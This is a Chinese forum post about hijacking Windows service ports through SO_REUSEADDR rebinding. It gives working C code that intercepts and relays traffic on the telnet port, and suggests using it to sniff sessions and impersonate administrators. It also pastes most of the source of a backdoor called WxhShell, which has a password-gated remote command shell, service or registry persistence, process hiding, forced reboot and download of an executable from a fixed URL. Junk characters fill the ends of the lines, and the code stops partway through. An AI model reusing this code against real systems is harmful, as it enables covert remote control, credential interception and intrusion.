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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @;>i3?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); YbCqZqk  
kkWqP20q  
  saddr.sin_family = AF_INET; w&&uk[Gh/a  
*;^!FBT  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); QY14N{]T\p  
}{FKs!(4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); P$l-p'U-  
Ce&nMgd~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 o=/Cje  
Twqkd8[  
  这意味着什么?意味着可以进行如下的攻击: ! C}t)R]^  
(EZ34,k'S  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?naPti1GX  
p#-ov-znp  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 5vxKkk&i4l  
!%w#h0(b  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 D2hEI2S  
OPm ?kr  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  g7*"*%v 2  
38Rod]\E  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $7Sbz&)y3  
si`{>e~`6P  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @q=l H *=  
JiFy.Pf  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 W40GW  
{8L)Fw  
  #include 31BN ?q  
  #include 00DWXGt20o  
  #include $#Mew:J  
  #include    1-z*'Ghys  
  DWORD WINAPI ClientThread(LPVOID lpParam);   xL.T}f~y2>  
  int main() {sn:Lj0  
  { Znl&.,c)  
  WORD wVersionRequested; X`,4pSQ;  
  DWORD ret; 1\v$8pP+  
  WSADATA wsaData; _-NS-E  
  BOOL val; 6 yIl)5/=  
  SOCKADDR_IN saddr; WW.\5kBl8  
  SOCKADDR_IN scaddr; L,@O OBD  
  int err; c k~gB  
  SOCKET s; >)Ih[0~M  
  SOCKET sc; ONx|c'0g  
  int caddsize; XTIRY4{ d  
  HANDLE mt; lHYu-}TNP  
  DWORD tid;   ~&E|;\G  
  wVersionRequested = MAKEWORD( 2, 2 ); Y~RZf /`  
  err = WSAStartup( wVersionRequested, &wsaData ); 7V/yU5  
  if ( err != 0 ) { 7e,<$PH  
  printf("error!WSAStartup failed!\n"); #xWC(*Ggp  
  return -1; +{%@kX<V_  
  } + n1jP<[<N  
  saddr.sin_family = AF_INET; ^iaeY jI  
   vBUl6EmWu  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 OtopA)  
?nm:e.S+?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )p.+39]{2  
  saddr.sin_port = htons(23); >M` swEj  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Kd_WN;l  
  { ++KY+j.^  
  printf("error!socket failed!\n"); ^$][ah  
  return -1; Q37VhScs  
  } K#"@nVWJ.m  
  val = TRUE; eO,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /)8 0@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Fa(}:Ug  
  { `I$qMw,@  
  printf("error!setsockopt failed!\n"); ;qI5GQ {  
  return -1; rT`D@ I  
  } #vO3*-hs  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; o3H+.u$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Xco$ yF%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Tb-`0^y&X1  
=N,KVMxw  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) y)3(  
  { MDkIaz\U  
  ret=GetLastError(); ArkFC  
  printf("error!bind failed!\n"); c%.f|/.k  
  return -1; -_jV.`t  
  } inBd.%Yr  
  listen(s,2); H*QN/{|RU  
  while(1) ~qNpPIrGr  
  { R|Ft@]  
  caddsize = sizeof(scaddr); =#XsY,r  
  //接受连接请求 A!v-[AI[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); TJtW?c7  
  if(sc!=INVALID_SOCKET) @S~'m;  
  { }iy`Ko+B"b  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); zIbl[[M&  
  if(mt==NULL) /,v:!*  
  { :,F^{  
  printf("Thread Creat Failed!\n"); Vvx(7p-GQ  
  break; $"{V],:T |  
  } ADX}  
  } |Sg *j-.  
  CloseHandle(mt); TGLkwXOkT  
  } oWyg/{M  
  closesocket(s); [BhpfZNKRA  
  WSACleanup(); 8Gb=aF1  
  return 0; hoC}@8_  
  }   .Jdw:  
  DWORD WINAPI ClientThread(LPVOID lpParam) e,E;\x &  
  { ^a`zvrE v  
  SOCKET ss = (SOCKET)lpParam; Xi5kE'_  
  SOCKET sc; [ hj|8)  
  unsigned char buf[4096]; w8%yX$<  
  SOCKADDR_IN saddr; F *; +-e  
  long num; '$)Wp_  
  DWORD val; mxHNK4/  
  DWORD ret; +!POKr  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6,G^iv6H  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5q]u:  
  saddr.sin_family = AF_INET; {s8''+Q#(-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 'D(Hqdr;:  
  saddr.sin_port = htons(23); T GMHo{ ]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 89l_%To  
  { }jU{RR%6B  
  printf("error!socket failed!\n"); 9[N' HpQ3  
  return -1; nVG\*#*]|  
  } NQfIY`lt'  
  val = 100; Y tGH>0}h  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G%YD2<V  
  { @6*<Xs =  
  ret = GetLastError(); y<F$@  
  return -1; `Uk,5F5   
  } sSG]I%oB3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hl~(&D1^  
  { ;$i9gP[|m  
  ret = GetLastError(); @ x*#7Y  
  return -1;  v )7d  
  } ~Y)Au?d(a  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) qe(X5 ?#;  
  { D.Cm&  
  printf("error!socket connect failed!\n"); P[P!WLr""  
  closesocket(sc); n E-=7S L  
  closesocket(ss); b&~uK"O'7d  
  return -1; #Mbt%m  
  } !^axO  
  while(1) ^e>v{AE%  
  { 4v2(YJ%u  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (kp}mSw  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >\DXA)nc  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 qUtVqS  
  num = recv(ss,buf,4096,0); 0nie>  
  if(num>0) D3.sR\Hxf  
  send(sc,buf,num,0); %n}.E30 4  
  else if(num==0) BpP\C!:^  
  break; !+)$;`  
  num = recv(sc,buf,4096,0); `*oLEXYN  
  if(num>0) Tjs-+$P+  
  send(ss,buf,num,0); bT{P1nUu  
  else if(num==0) f`Wfw3  
  break; /HzhgMV3  
  } nBiSc*  
  closesocket(ss); 0^(.(:  
  closesocket(sc); 3SIB #"9  
  return 0 ; q=?"0i&V  
  } D'nV &m  
&I(|aZx?J  
)%j)*Ymz;  
========================================================== ==FzkRA)  
l3g6y 9;  
下边附上一个代码,,WXhSHELL 30H:x@='9  
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========================================================== 6AQ;P  
WZ&#O#(eO`  
#include "stdafx.h" r LfS9H  
Fah}#,  
#include <stdio.h> "\_}"0 H  
#include <string.h> M.OWw#?p:_  
#include <windows.h> g<.8iW 'c  
#include <winsock2.h> |e< U%v  
#include <winsvc.h> It_yh #s  
#include <urlmon.h> t*}<v@,  
8=nm`7(]  
#pragma comment (lib, "Ws2_32.lib") }p- %~ Y  
#pragma comment (lib, "urlmon.lib") JAiV7v4&R  
:m$%D]WY  
#define MAX_USER   100 // 最大客户端连接数 ^d=Z/d[  
#define BUF_SOCK   200 // sock buffer ;,4J:zvZdQ  
#define KEY_BUFF   255 // 输入 buffer |u}sX5/q  
Cn`% *w  
#define REBOOT     0   // 重启 uk'<9g^  
#define SHUTDOWN   1   // 关机 2!6Kzq  
y mE`V  
#define DEF_PORT   5000 // 监听端口 VR:b1XWX  
_ SFD}w3b$  
#define REG_LEN     16   // 注册表键长度 (u'/tNGS  
#define SVC_LEN     80   // NT服务名长度 d?{2A84S  
8c/Ii"1  
// 从dll定义API nVM`&azD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }E1Eq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 50R+D0^mh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e5XikL u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [&`>&u@MK  
=:0(&NCRq  
// wxhshell配置信息 11-uJVO~*  
struct WSCFG { ^y6CV4T+  
  int ws_port;         // 监听端口 pF !vW  
  char ws_passstr[REG_LEN]; // 口令 *{Z!m@?  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y zvtxX*  
  char ws_regname[REG_LEN]; // 注册表键名 <1LuYEDq  
  char ws_svcname[REG_LEN]; // 服务名 Bpp9I;)c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 QV 'y6m\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2mT+@G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~w*ojI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'Qfy+_0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y(z U:.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $?GO|.59  
7> ]C2!  
}; ~ dk1fh  
Ce)Wvuh  
// default Wxhshell configuration UD(#u3z  
struct WSCFG wscfg={DEF_PORT, `dNb%f>  
    "xuhuanlingzhe", 7>mYD3  
    1, ,Z^GN%Q7a  
    "Wxhshell", h/VYH(Tj  
    "Wxhshell", CFA>  
            "WxhShell Service", R"=M5  
    "Wrsky Windows CmdShell Service", |V7a26h  
    "Please Input Your Password: ", (1HN, iJy  
  1, X5yhS  
  "http://www.wrsky.com/wxhshell.exe", N|)V/no6  
  "Wxhshell.exe" 1lQ1 0J  
    }; b>(l F%M  
Dm^kuTIG  
// 消息定义模块 f:0n-me  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;5l|-&{@*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [eN{Ft0x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,5?MRqCM  
char *msg_ws_ext="\n\rExit."; W!^=)Qs  
char *msg_ws_end="\n\rQuit."; w#$k$T)  
char *msg_ws_boot="\n\rReboot..."; !58JK f  
char *msg_ws_poff="\n\rShutdown..."; ~S6N'$^  
char *msg_ws_down="\n\rSave to "; CYu8J@(\~g  
%G SSy_c  
char *msg_ws_err="\n\rErr!"; =+L>^w#6=  
char *msg_ws_ok="\n\rOK!"; R{B~Now3  
U,S286  
char ExeFile[MAX_PATH]; p[GyQ2k)  
int nUser = 0; ]rm=F]W/n  
HANDLE handles[MAX_USER]; ZSSgc0u^?  
int OsIsNt; ?yb{DZ46  
0A9cu,ZdUR  
SERVICE_STATUS       serviceStatus; BkeP?X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; m>!#}EJ|  
el%Qxak`"  
// 函数声明 sJlKN  
int Install(void); A%O#S<sa  
int Uninstall(void); 7EXmmB~>,  
int DownloadFile(char *sURL, SOCKET wsh); /{va<CL  
int Boot(int flag); /0uinx  
void HideProc(void); eH8.O  
int GetOsVer(void); jYF3u0 )  
int Wxhshell(SOCKET wsl); 5=986ci$U  
void TalkWithClient(void *cs); ;$Jvqq|T  
int CmdShell(SOCKET sock); . gJKr  
int StartFromService(void); 4#9-Z6kOk  
int StartWxhshell(LPSTR lpCmdLine); #*/h*GNMs  
Z#O3s:`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _JDr?Kg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PsnU5f)`  
UXJl;M b  
// 数据结构和表定义 ~-%A@Lt  
SERVICE_TABLE_ENTRY DispatchTable[] = QAwj]_  
{ k N+(  
{wscfg.ws_svcname, NTServiceMain}, : eFc.>KoD  
{NULL, NULL} J5T#}!f  
}; BxU1Q&  
K=)R!e8  
// 自我安装 DeSTo9A}!  
int Install(void) pAuwSn#i  
{ 5XHkRcESZ  
  char svExeFile[MAX_PATH]; {LDb*'5Cy  
  HKEY key; h_L '_*  
  strcpy(svExeFile,ExeFile); eV0S:mit  
{[?|RC;\Y  
// 如果是win9x系统,修改注册表设为自启动 Biy 9jIWI  
if(!OsIsNt) { &/F[kAy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qI^jwl|k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -c@ 5qe>  
  RegCloseKey(key); ;I'/.gW;{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nL!@#{z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B vc=gW  
  RegCloseKey(key); %5gJ6>@6Z  
  return 0; -pu\p-Z  
    } tW>R 16zq  
  } 2A|6o*s"  
} 9(WC#-,  
else { KOx#LGz  
9Q/!%y%5  
// 如果是NT以上系统,安装为系统服务 '4sD1LD~}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1_C6KS  
if (schSCManager!=0) ]:s|.C%qI  
{ [#Vr)\n  
  SC_HANDLE schService = CreateService auW]rwY  
  ( O$/ swwB!  
  schSCManager, I+t38 un%  
  wscfg.ws_svcname, T}[vfIJD  
  wscfg.ws_svcdisp, G{~p.?f:  
  SERVICE_ALL_ACCESS, ooSd6;'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Dt.Wb&V_w  
  SERVICE_AUTO_START, / nFw  
  SERVICE_ERROR_NORMAL, % cdP*  
  svExeFile, VH6|(=8  
  NULL, <1BK 5%?  
  NULL, o7XRa]O  
  NULL, #U D  
  NULL, qu+2..3  
  NULL vP?S0>gh  
  ); YO0x68  
  if (schService!=0) Ue:T3jp 3%  
  { `kSCH; mwP  
  CloseServiceHandle(schService); Xy<f_  
  CloseServiceHandle(schSCManager); t|QMS M?s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !\O,dq  
  strcat(svExeFile,wscfg.ws_svcname); ueBoSZRWX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4>C=:w  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E}/|Lja  
  RegCloseKey(key); b'5pQ2Mq  
  return 0; 'LLx$y.Ei[  
    } #%"TU,[+  
  } UO<claV  
  CloseServiceHandle(schSCManager); *+4iBpyiB  
} r.^X>?  
} "]Dzc[Vp  
l:yAgm`  
return 1; z.HNb$;  
} _ D}b  
RpP[ymMZJ  
// 自我卸载 k.[) R@0%  
int Uninstall(void) Jjh!/pWZ4  
{ &"%|`gE  
  HKEY key; D D;+& fe  
f+Li'?  
if(!OsIsNt) { C*e[CP@u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +STzG /9#  
  RegDeleteValue(key,wscfg.ws_regname); E*CQG;^=N  
  RegCloseKey(key); !BuJC$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TcmZ0L^O  
  RegDeleteValue(key,wscfg.ws_regname); q.[[ c  
  RegCloseKey(key); A!Ct,%   
  return 0; k]9>V@C  
  } 6_K#,_oZ  
} aEdJri  
} >/kG5]zxY  
else { kdPm # $-  
w!w _`7[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6FIoWG"x  
if (schSCManager!=0) R bc2g"]  
{ ^GaPpm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~.`r(  
  if (schService!=0) Ny7=-]N4{"  
  { T KL(97)<  
  if(DeleteService(schService)!=0) { [mzF)/[_2  
  CloseServiceHandle(schService); Le:mMd= G  
  CloseServiceHandle(schSCManager); qq3Qd,$Z  
  return 0; U]EuDNkO{  
  } O[p^lr(B7  
  CloseServiceHandle(schService); 0+y~RTAVB  
  }  ,bp pM  
  CloseServiceHandle(schSCManager); <O)X89dFM  
} u4M2Ec  
} C{i;spc!bi  
#]a51Vss  
return 1; vek:/'sj3p  
} J K]tcP  
IBNQmVRrI  
// 从指定url下载文件 TIWLp  
int DownloadFile(char *sURL, SOCKET wsh) %<#3_}"T|  
{ IetGg{h.  
  HRESULT hr; gIM'bA<~  
char seps[]= "/"; 9.OwH(Ax7  
char *token; jy@i(@Z  
char *file; }cK~=@7tK  
char myURL[MAX_PATH]; 8|qB 1fB  
char myFILE[MAX_PATH]; C5PBfn<j  
nC.2./OwMf  
strcpy(myURL,sURL); |-Esc|J(  
  token=strtok(myURL,seps); LI;EfyL  
  while(token!=NULL) ~ 9~\f  
  { n ,:.]3v%  
    file=token; _AB9BQm  
  token=strtok(NULL,seps); ?&<o_/`-H5  
  } c[RL Yu  
po2[uJ  
GetCurrentDirectory(MAX_PATH,myFILE); `CEj 4  
strcat(myFILE, "\\"); =>z tBw\  
strcat(myFILE, file); <CKmMZ{  
  send(wsh,myFILE,strlen(myFILE),0); OC>_=i$ '  
send(wsh,"...",3,0); A r7mH4M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z t+FRR=  
  if(hr==S_OK) |}p}`Mb)a  
return 0; ~& WN)r'4y  
else ?-::{2O)  
return 1; * :tjxC  
:Ip:sRz  
} jM1%6  
1LId_vJtJ  
// 系统电源模块 m_Ac/ct f  
int Boot(int flag) Ao,!z  
{ O][Nl^dl  
  HANDLE hToken; i$^B-  
  TOKEN_PRIVILEGES tkp; Q$h:[_v  
mV*/zWh_  
  if(OsIsNt) { 8u'O` j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =6:L+ V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T<e7(=  
    tkp.PrivilegeCount = 1; d:<H?~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MjXE|3&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hN_f h J  
if(flag==REBOOT) { Am4^v?q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W6Aj<{\F  
  return 0; 6;[/ 9  
} +5t bK  
else { 7Cd_zZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9ze|s^  
  return 0; oS#'u 1k  
} {pb9UUP2  
  } ~'NpM#A  
  else { ^2C /!Y<  
if(flag==REBOOT) { k8 ;uC~L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yB4H3Q )  
  return 0; *fH_lG%  
} pba8=Z  
else { 7.e7Fi{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Vl 19Md  
  return 0; 95^i/6Gl!P  
} Gkv~e?Kc~^  
} \SiHrr5  
puS&S *  
return 1; m UWkb  
} =0PRAc  
w&|R5Q  
// win9x进程隐藏模块 "o{)X@YN]  
void HideProc(void) I!@s6tG  
{ "\/^/vn?  
_))I.c=v  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z{@R.'BD  
  if ( hKernel != NULL ) *|k;a]HT  
  { >^yc=mM(g3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /j' B\,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F?8BS*r_  
    FreeLibrary(hKernel); @ 2!C^}d3F  
  } .;HIEj zq  
J}(6>iuQY?  
return; ;;?vgrz  
} ```d:f  
1X::0;3  
// 获取操作系统版本 a4T~\\,dZ>  
int GetOsVer(void) ?AnjD8i  
{ 2<'`^AO@  
  OSVERSIONINFO winfo; e`Co,>W/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?jri!]ux#  
  GetVersionEx(&winfo); *!g 24  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;Rhb@]X  
  return 1; dCZ\ S91q  
  else #`La|a.-  
  return 0; os1?6 z~  
} Zn@W7c,_I  
l@N;sI<O-  
// 客户端句柄模块 OQ(D5GR:4  
int Wxhshell(SOCKET wsl) o#xgrMB  
{ LZM,QQ  
  SOCKET wsh; \T`["<  
  struct sockaddr_in client; .73zik   
  DWORD myID; aUW/1nQHa  
G[3k  
  while(nUser<MAX_USER) 6x_ T@  
{ 8M^wuRn  
  int nSize=sizeof(client); L6:W'u^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #M5_em4kN  
  if(wsh==INVALID_SOCKET) return 1; i s L{9^  
{[2tG U9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }pMP!%|  
if(handles[nUser]==0) 6ORY`Pe7P|  
  closesocket(wsh); c[VrC+e m  
else ?&znUoB  
  nUser++; 'lhP!E_)q  
  } M[aT2A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7L=T]W  
@iU%`=ziz  
  return 0; .3VK;au\\  
} #>8T*B  
{ITv&5?>  
// 关闭 socket 5-D`<\  
void CloseIt(SOCKET wsh) -<^jGrb  
{ 8zdT9y|Ig  
closesocket(wsh); r^$\t0h(U8  
nUser--; 6hkkNXqkf  
ExitThread(0); ! FNf>z+  
} 5x8'K7/4.  
Tu]&^[B('  
// 客户端请求句柄 Y4mC_4EU  
void TalkWithClient(void *cs) [E>R.Oe  
{ fO].e"}  
]7a;jNQu  
  SOCKET wsh=(SOCKET)cs; [6D>f?z  
  char pwd[SVC_LEN]; FU%~9NKX  
  char cmd[KEY_BUFF]; 3p=vz'  
char chr[1]; rdO@X9z  
int i,j; *FV0Vy  
)ll?-FZ   
  while (nUser < MAX_USER) { T yU&QXb  
q0&Wk"X%rr  
if(wscfg.ws_passstr) { <rNtY,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ht?CH Uu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /ZHO>LNN|  
  //ZeroMemory(pwd,KEY_BUFF); ||uZ bP@  
      i=0; h4f ~5- Y  
  while(i<SVC_LEN) { ZP"yq6!i  
[#p&D~Du&  
  // 设置超时 >DL/ ..  
  fd_set FdRead; vXephR'  
  struct timeval TimeOut; UL+E,=  
  FD_ZERO(&FdRead); Bwjg#1E  
  FD_SET(wsh,&FdRead); 9"~9hOEct  
  TimeOut.tv_sec=8; bSQRLxF  
  TimeOut.tv_usec=0; O -G1})$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xw?CMA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J"-_{)0lD  
R1}IeeZO?&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sltk@  
  pwd=chr[0]; Nz~(+pVWg5  
  if(chr[0]==0xd || chr[0]==0xa) { OR]T`meO  
  pwd=0; `h?LVD'l  
  break; o,CBA;{P  
  } L?!$EPr  
  i++; *ksb?|<Ot  
    } &.zj5*J  
Q:mZ" i5  
  // 如果是非法用户,关闭 socket =yo{[&Jz  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L[rpb.'FG  
} @%c81rv?  
j")FaIM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  l^P#kQA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c15r':.5  
!#?8BwnaZ  
while(1) { O}QFq14<+  
Rp0|zP,5  
  ZeroMemory(cmd,KEY_BUFF); +P|2m"UA  
vv &BhIf3  
      // 自动支持客户端 telnet标准   1]j^d  
  j=0; > @+#  
  while(j<KEY_BUFF) { a5a1'IVq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !i^]UN   
  cmd[j]=chr[0]; %swR:Bv  
  if(chr[0]==0xa || chr[0]==0xd) { <s_=-" il  
  cmd[j]=0; ?4 qkDtm  
  break; BEWro|]cM  
  } l7z 6i*R  
  j++; atyu/+U'}  
    } 1Y#HcW&  
3[r";Wt#  
  // 下载文件 Z'Q*L?E8M  
  if(strstr(cmd,"http://")) { %*kLEA*v  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "}@i+oS  
  if(DownloadFile(cmd,wsh)) FI8k;4|V  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n$4|P O$X  
  else <c+K3P'3?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P/MM UmO  
  } gz;&u)  
  else { "mOI!x f@a  
JS!*2*Wr  
    switch(cmd[0]) { nLj&Uf&  
  0z7L+2#b^  
  // 帮助 `B:"6nW6  
  case '?': { ?g3 ]~;#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fywvJ$HD]L  
    break; k9mi5Oc  
  } b#/i.!:a  
  // 安装 U]1(&MgV  
  case 'i': { \0ov[T N.>  
    if(Install()) \tx%WC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0I 5&a  
    else h0Ee?=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B_ k2u  
    break; DK6? E\<  
    } i)8N(HN  
  // 卸载 #f*g]p{   
  case 'r': { FW#P*}#  
    if(Uninstall()) cwe1^SJ6y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vc8?I."?  
    else  W8]V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3?.1n Gu  
    break; s]H^wrg&  
    } (#|{%4g@>  
  // 显示 wxhshell 所在路径 rk|a5-i  
  case 'p': { fxgU~'  
    char svExeFile[MAX_PATH]; pZk6 w1d!  
    strcpy(svExeFile,"\n\r"); rC BfD  
      strcat(svExeFile,ExeFile); )DT|(^  
        send(wsh,svExeFile,strlen(svExeFile),0); 9JnY$e<&  
    break; _dU8'H  
    } 26L~X[F  
  // 重启 MR$>!Nlp  
  case 'b': { J#Z5^)$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zE|Wn3_sd  
    if(Boot(REBOOT)) gsPl _  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P=`1rjPE  
    else { -.iNNM&a  
    closesocket(wsh); |cDszoT /  
    ExitThread(0); 0q,pi qjO  
    } MT6/2d  
    break; P`jL]x  
    } Wto ;bd  
  // 关机 :!Ig- +W  
  case 'd': { l-Nly>~  
